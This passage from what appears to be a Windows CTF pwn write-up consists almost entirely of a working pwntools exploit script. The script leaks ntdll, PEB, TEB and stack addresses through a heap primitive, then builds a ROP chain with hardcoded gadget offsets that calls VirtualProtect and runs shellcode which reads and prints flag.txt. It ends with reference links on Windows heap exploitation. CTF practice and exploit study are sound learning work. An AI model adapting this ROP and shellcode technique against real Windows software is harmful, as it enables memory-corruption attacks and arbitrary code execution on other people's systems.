log.success("ntdll address {}".format(hex(ntdll)))

# use ntdll!PebLdr to leak peb, get peb and then StackBase value
ntdll_PebLdr_addr = 0x1653a0 + ntdll
edit(2, 8, p64(ntdll_PebLdr_addr - 0x38) + b"\n")
show(3)
p.recvuntil("content: ")
Peb_addr = u64(p.recvuntil(b"\r\n", drop=True).ljust(8, b"\x00")) - 0x340
Teb_addr = Peb_addr + 0x1000
log.success("peb address {}".format(hex(Peb_addr)))
log.success("teb address {}".format(hex(Teb_addr)))

## leak StackBase value stored in TEB
edit(2, 8, p64(Teb_addr + 8) + b'\n')
edit(3, 2, b"\x01\x01\n")
result = b''
while len(result) < 8:
result_length = len(result)
edit(2, 8, p64(Teb_addr + 8 + result_length) + b'\n')
show(3)
p.recvuntil("content: ")
result += p.recvuntil(b'\r\n', drop=True) + b'\x00'
StackBase = u64(result[:8]) - u16("\x01\x01")
edit(2, 8, p64(Teb_addr + 8) + b'\n')
edit(3, 2, b"\x00\x00\n")
log.success('StackBase: ' + hex(StackBase))

# force stack start at StackBase to get main ret address
edit(2, 8, p64(inused_list + 3) + b"\n")
edit(3, 4, p8(1)*4 + b"\n")
main_ret_content = imagebase + 0x20d0
main_ret_address = 0
for addr in range(StackBase - 0x1000, StackBase-0x10, 0x10)[::-1]:
if main_ret_address == 0:
edit(2, 0x20, p64(addr + 0x18) + p64(addr + 0x10) + p64(addr + 8) + p64(addr) + b'\n')
for i in range(3, 3 + 4):
show(i)
p.recvuntil("content: ")
result = p.recvuntil(b'\r\n', drop=True)[:8]
content = u64(result.ljust(8, b'\x00'))
if content == main_ret_content:
main_ret_address = addr + (3-(i-3)) * 8
break
edit_ret_address = main_ret_address - 0x50
log.success("main ret address {}".format(hex(main_ret_address)))
log.success("edit ret address {}".format(hex(edit_ret_address)))

raw_input()

edit(2, 0x20, p64(edit_ret_address) + b"./flag.txt".ljust(0x10, b"\x00") + b"\n")

p_rsi_r = 0x6a46 + ntdll
p_rdi_r = 0x1069 + ntdll
p_rdx_r11_r = 0x8fb17 + ntdll
p_rcx_r = 0x9215b + ntdll
p_r8_r = 0x20107 + ntdll
p_rdx_r14 = 0x1a6d2 + ntdll
p_rbx_r = 0x112a + kernel_dll
push_rax_r = 0xa33ac + ntdll
p_r9_r10_r11_r = 0x8fb14 + ntdll
push_rdi_r = 0x29081 + ucrtbase
pop_rdx_rcx_r8_r9_r10_r11 = ntdll + 0x8FB10

flag_buf = inused_list
flag_address = buf_list + 4*8
mod_str_address = buf_list + 5*8
system_address = ucrtbase + 0xabba0
cmd_address = ucrtbase + 0xcc9f0
load_dll_address = ucrtbase + 0xA9D30
fopen_address = ucrtbase + 0x71750
# fopen_address = ucrtbase + 0x71605
fgets_address = ucrtbase + 0x71340
puts_address = ucrtbase + 0x80760
exit_address = imagebase + 0x1A3F

shellcode = '''
sub rsp, 0x1000 ;// to prevent underflowing

mov rax, 0x7478742e67616c66 ;// flag.txt
mov [rsp + 0x100], rax
mov byte ptr [rsp + 0x108], 0
lea rcx, [rsp + 0x100]
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
mov dword ptr[rsp + 0x20], 3
mov dword ptr[rsp + 0x28], 0x80
mov [rsp + 0x30], r9
mov rax, %d
call rax ;// CreateFile

mov rcx, rax
lea rdx, [rsp + 0x200]
mov r8d, 0x200
lea r9, [rsp + 0x30]
xor eax, eax
mov [rsp + 0x20], rax
mov rax, %d
call rax ;// ReadFile

mov ecx, 0xfffffff5 ;// STD_OUTPUT_HANDLE
mov rax, %d
call rax ;// GetStdHandle

mov rcx, rax
lea rdx, [rsp + 0x200]
mov r8d, [rsp + 0x30]
lea r9, [rsp + 0x40]
xor eax, eax
mov [rsp + 0x20], rax
mov rax, %d
call rax ;// WriteFile

mov rax, %d
call rax ;// exit
''' % ( kernel_dll + 0x22080, kernel_dll + 0x22410, kernel_dll + 0x1c620, kernel_dll + 0x22500, exit_address)

shellcode = asm(shellcode)
shellcode_address = edit_ret_address + 0x80 + 0x10

VirtualProtect = kernel_dll + 0x1B410
payload = flat([
pop_rdx_rcx_r8_r9_r10_r11, 0x1000, shellcode_address & 0xfffffffffffff000,
0x40, shellcode_address + 0x500, 0, 0,
VirtualProtect,
shellcode_address
])

orw = payload.ljust(0x80, b"\x00") + shellcode

# by xxrw
# _open = ucrtbase + 0xA2A30 # (0x0007ffcad912a30-0x7ffcad870000)
# _read = ucrtbase + 0x16270 # (0x0007ffcad886270-0x7ffcad870000)
# puts = ucrtbase + 0x80760 # (0x0007ffcad8f0760-0x7ffcad870000)
#
# rop = p64(pop_rdx_rcx_r8_r9_r10_r11)
# rop += p64(0)
# rop += p64(flag_address)
# rop += p64(0) * 4
# rop += p64(_open)
# rop += p64(pop_rdx_rcx_r8_r9_r10_r11)
# rop += p64(0) * 6
# rop += p64(pop_rdx_rcx_r8_r9_r10_r11)
# rop += p64(imagebase + 0x6800)
# rop += p64(3)
# rop += p64(0x40)
# rop += p64(0) * 3
# rop += p64(_read)
# rop += p64(pop_rdx_rcx_r8_r9_r10_r11)
# rop += p64(0) * 6
# rop += p64(pop_rdx_rcx_r8_r9_r10_r11)
# rop += p64(0)
# rop += p64(imagebase + 0x6800)
# rop += p64(0) * 4
# rop += p64(puts)

edit(3, 0x1ff, orw + b"\n")

p.interactive()

参考

Windows Pwn 学习之路

Windows-pwn解题原理&利用手法详解

Windows 10 Nt Heap Exploitation (English version)